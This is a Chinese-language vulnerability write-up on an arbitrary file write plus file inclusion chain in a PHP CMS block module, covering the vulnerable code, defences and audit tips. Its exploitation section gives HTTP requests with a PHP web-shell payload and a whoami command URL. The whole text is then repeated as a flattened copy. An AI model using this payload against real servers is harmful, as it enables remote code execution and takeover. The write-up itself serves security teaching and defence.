记一次某CMS审计
字数 1638 2025-08-22 18:37:22

PHP CMS 审计:任意文件写入与文件包含漏洞分析

1. 漏洞概述

本教学文档详细分析了一个PHP CMS系统中存在的安全漏洞组合:任意文件写入漏洞与文件包含漏洞。这两个漏洞结合可导致远程代码执行(RCE),是Web应用安全中极为严重的威胁。

2. 漏洞基础概念

2.1 任意文件写入漏洞

定义:攻击者能够在目标服务器上任意位置创建或修改文件的漏洞。

风险

  • 远程代码执行:写入恶意PHP代码并执行
  • 破坏系统完整性:覆盖关键系统文件
  • 植入后门:建立持久化访问通道

示例

file_put_contents('/var/www/html/uploads/malicious.php', $user_input);

攻击者可传入<?php system('whoami'); ?>等恶意代码。

2.2 文件包含漏洞

定义:应用程序允许用户通过输入控制包含的文件路径,导致执行用户指定的文件。

类型

  • 本地文件包含(LFI):包含服务器本地文件
  • 远程文件包含(RFI):包含远程服务器文件(需配置允许)

风险

  • 任意代码执行
  • 敏感信息泄露(如读取/etc/passwd)

危险函数

  • include(), require()
  • include_once(), require_once()
  • readfile(), parse_ini_file()

3. 漏洞代码分析

3.1 漏洞代码片段

$tpl = pc_base::load_sys_class('template_cache');
$str = $tpl->template_parse(new_stripslashes($template));
$filepath = CACHE_PATH.'caches_template'.DIRECTORY_SEPARATOR.'block'.DIRECTORY_SEPARATOR.'tmp_'.$id.'.php';
$dir = dirname($filepath);
if(!is_dir($dir)) {
    @mkdir($dir, 0777, true);
}
if (@file_put_contents($filepath, $str)) {
    ob_start();
    include $filepath;
    $html = ob_get_contents();
    ob_clean();
    @unlink($filepath);
}

3.2 漏洞点分析

  1. 可控输入

    • $template来自$_POST['template']
    • $id来自数据库查询,但可通过特定方式控制
  2. 漏洞链

    • 通过file_put_contents()写入可控内容
    • 通过include立即执行写入的文件
    • 文件路径部分可控(通过$id
  3. 关键条件

    • 需要$data['type'] == 2才能进入漏洞代码分支
    • $data$_GET['id']查询得到

4. 漏洞利用步骤

4.1 前置条件准备

  1. 确保type=2存在

    • 检查数据库中是否存在type == 2的记录
    • 若无,通过add函数添加一个type=2的模块
  2. 构造添加请求

POST /index.php?m=block&c=block_admin&a=add&pos=1 HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

name=testmodule&dosubmit=1&type=2&priv=all&pc_hash=xxxx

4.2 漏洞利用POC

  1. 确认type=2模块创建成功

    • 检查数据库确认记录已添加
  2. 构造恶意请求

POST /index.php?m=block&c=block_admin&a=add&pos=1 HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]

template=<?php system($_GET['cmd']);?>&[其他必要参数]
  1. 验证利用
    • 访问生成的文件路径执行命令
    • 如:http://target.com/path/to/generated.php?cmd=whoami

5. 防御措施

5.1 针对任意文件写入

  1. 输入验证

    • 严格过滤用户输入的$template内容
    • 禁止PHP代码标签等危险内容
  2. 路径限制

    • 固定文件存储目录
    • 禁止使用用户输入构造完整路径
  3. 权限控制

    • 文件写入权限最小化
    • 避免0777权限设置

5.2 针对文件包含

  1. 白名单机制

    • 只允许包含预定义的安全文件
    • 禁止动态包含用户可控文件
  2. 路径固定

    • 不使用用户输入构造包含路径
    • 如需动态包含,应先映射到安全列表
  3. 禁用危险函数

    • 在php.ini中禁用allow_url_include

6. 审计技巧总结

  1. 敏感函数追踪

    • 重点审计file_put_contentsinclude等危险函数
    • 追踪其参数来源是否可控
  2. 条件分支分析

    • 注意进入漏洞代码的条件限制
    • 寻找绕过条件限制的方法
  3. 数据流追踪

    • 从用户输入点到危险函数的数据流分析
    • 检查中间是否有足够的过滤
  4. 组合漏洞挖掘

    • 注意漏洞间的组合利用可能性
    • 如本案例中文件写入+文件包含的组合

7. 扩展思考

  1. 其他可能的利用方式

    • 通过文件写入篡改配置文件
    • 写入.htaccess文件进行其他攻击
  2. 相关CVE参考

    • 研究类似CMS的历史漏洞
    • 对比不同CMS的实现差异
  3. 自动化审计工具

    • 使用静态分析工具辅助发现此类漏洞
    • 如RIPS、SonarQube等

本教学文档详细剖析了PHP CMS中一个典型的安全漏洞组合,从基础概念到实际利用,再到防御措施,提供了完整的知识链条。安全审计需要耐心和细致的代码分析能力,希望此文档能为安全研究人员提供有价值的参考。

PHP CMS 审计:任意文件写入与文件包含漏洞分析 1. 漏洞概述 本教学文档详细分析了一个PHP CMS系统中存在的安全漏洞组合:任意文件写入漏洞与文件包含漏洞。这两个漏洞结合可导致远程代码执行(RCE),是Web应用安全中极为严重的威胁。 2. 漏洞基础概念 2.1 任意文件写入漏洞 定义 :攻击者能够在目标服务器上任意位置创建或修改文件的漏洞。 风险 : 远程代码执行:写入恶意PHP代码并执行 破坏系统完整性:覆盖关键系统文件 植入后门:建立持久化访问通道 示例 : 攻击者可传入 <?php system('whoami'); ?> 等恶意代码。 2.2 文件包含漏洞 定义 :应用程序允许用户通过输入控制包含的文件路径,导致执行用户指定的文件。 类型 : 本地文件包含(LFI):包含服务器本地文件 远程文件包含(RFI):包含远程服务器文件(需配置允许) 风险 : 任意代码执行 敏感信息泄露(如读取/etc/passwd) 危险函数 : include() , require() include_once() , require_once() readfile() , parse_ini_file() 3. 漏洞代码分析 3.1 漏洞代码片段 3.2 漏洞点分析 可控输入 : $template 来自 $_POST['template'] $id 来自数据库查询,但可通过特定方式控制 漏洞链 : 通过 file_put_contents() 写入可控内容 通过 include 立即执行写入的文件 文件路径部分可控(通过 $id ) 关键条件 : 需要 $data['type'] == 2 才能进入漏洞代码分支 $data 由 $_GET['id'] 查询得到 4. 漏洞利用步骤 4.1 前置条件准备 确保type=2存在 : 检查数据库中是否存在 type == 2 的记录 若无,通过 add 函数添加一个 type=2 的模块 构造添加请求 : 4.2 漏洞利用POC 确认type=2模块创建成功 : 检查数据库确认记录已添加 构造恶意请求 : 验证利用 : 访问生成的文件路径执行命令 如: http://target.com/path/to/generated.php?cmd=whoami 5. 防御措施 5.1 针对任意文件写入 输入验证 : 严格过滤用户输入的 $template 内容 禁止PHP代码标签等危险内容 路径限制 : 固定文件存储目录 禁止使用用户输入构造完整路径 权限控制 : 文件写入权限最小化 避免0777权限设置 5.2 针对文件包含 白名单机制 : 只允许包含预定义的安全文件 禁止动态包含用户可控文件 路径固定 : 不使用用户输入构造包含路径 如需动态包含,应先映射到安全列表 禁用危险函数 : 在php.ini中禁用 allow_url_include 6. 审计技巧总结 敏感函数追踪 : 重点审计 file_put_contents 、 include 等危险函数 追踪其参数来源是否可控 条件分支分析 : 注意进入漏洞代码的条件限制 寻找绕过条件限制的方法 数据流追踪 : 从用户输入点到危险函数的数据流分析 检查中间是否有足够的过滤 组合漏洞挖掘 : 注意漏洞间的组合利用可能性 如本案例中文件写入+文件包含的组合 7. 扩展思考 其他可能的利用方式 : 通过文件写入篡改配置文件 写入.htaccess文件进行其他攻击 相关CVE参考 : 研究类似CMS的历史漏洞 对比不同CMS的实现差异 自动化审计工具 : 使用静态分析工具辅助发现此类漏洞 如RIPS、SonarQube等 本教学文档详细剖析了PHP CMS中一个典型的安全漏洞组合,从基础概念到实际利用,再到防御措施,提供了完整的知识链条。安全审计需要耐心和细致的代码分析能力,希望此文档能为安全研究人员提供有价值的参考。